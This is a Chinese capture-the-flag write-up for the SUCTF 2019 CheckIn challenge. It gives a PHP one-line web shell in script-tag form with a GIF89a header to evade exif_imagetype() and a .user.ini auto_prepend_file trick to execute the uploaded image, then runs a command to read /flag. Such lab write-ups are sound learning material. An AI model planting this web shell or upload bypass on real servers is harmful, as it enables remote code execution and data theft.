本文主要是介绍[SUCTF 2019]CheckIn 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
知识点:exif_imagetype() 、 .user.ini
文章目录:
- 题解
- 参考
题解
文件上传,我们传一个带一句话马的图片
<?php @eval($_REQUEST['cmd']);?>
但是它提示我们不能有<?,那我们就换一种
<script language="php">eval($_REQUEST['cmd']);</script>
在这边,它用了一个exif_imagetype函数来判断文件类型。
平时简单一点的文件类型检查就是$_FILES[“file”][“type”],这种我们改一下后缀就行了。
但是exif_imagetype() 读取一个图像的第一个字节并检查其签名,如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE,比如我们传个.gif的文件,它返回值是IMAGETYPE_GIF。
各类型对应头字节:
- JPG :FF D8 FF E0 00 10 4A 46 49 46(16进制编码)
- GIF:47 49 46 38 39 61(ascll值是GIF89a)
- PNG: 89 50 4E 47
所以我们只要在我们的一句话马前加上GIF89a就行了
GIF89a
<script language='php'>eval($_REQUEST['cmd']);</script>
在把‘’这个文件上传
但现在传上去的只是一张图片,我们要把它解析成php。
这里可以用.user.ini。
php.ini大家都熟悉,是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:
PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER
而.user.ini可以看成用户自己定义的php.ini,并且在php配置项中有两个项:
auto_prepend_file和auto_append_file
相当于指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数
auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入。
然后创建.user.ini文件上传:
GIF89a
auto_prepend_file=she.jpg
然后payload,执行命令:
/uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php?cmd=var_dump(file_get_contents("/flag"));
uploads/cc551ab005b2e60fbdc88de809b2c4b1/index.php
原因:.user.ini中auto_prepend_file=she.jpg会在执行index.php前把she包含进来,且解析为php格式
参考
.user.ini
高诺琪
这篇关于[SUCTF 2019]CheckIn 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!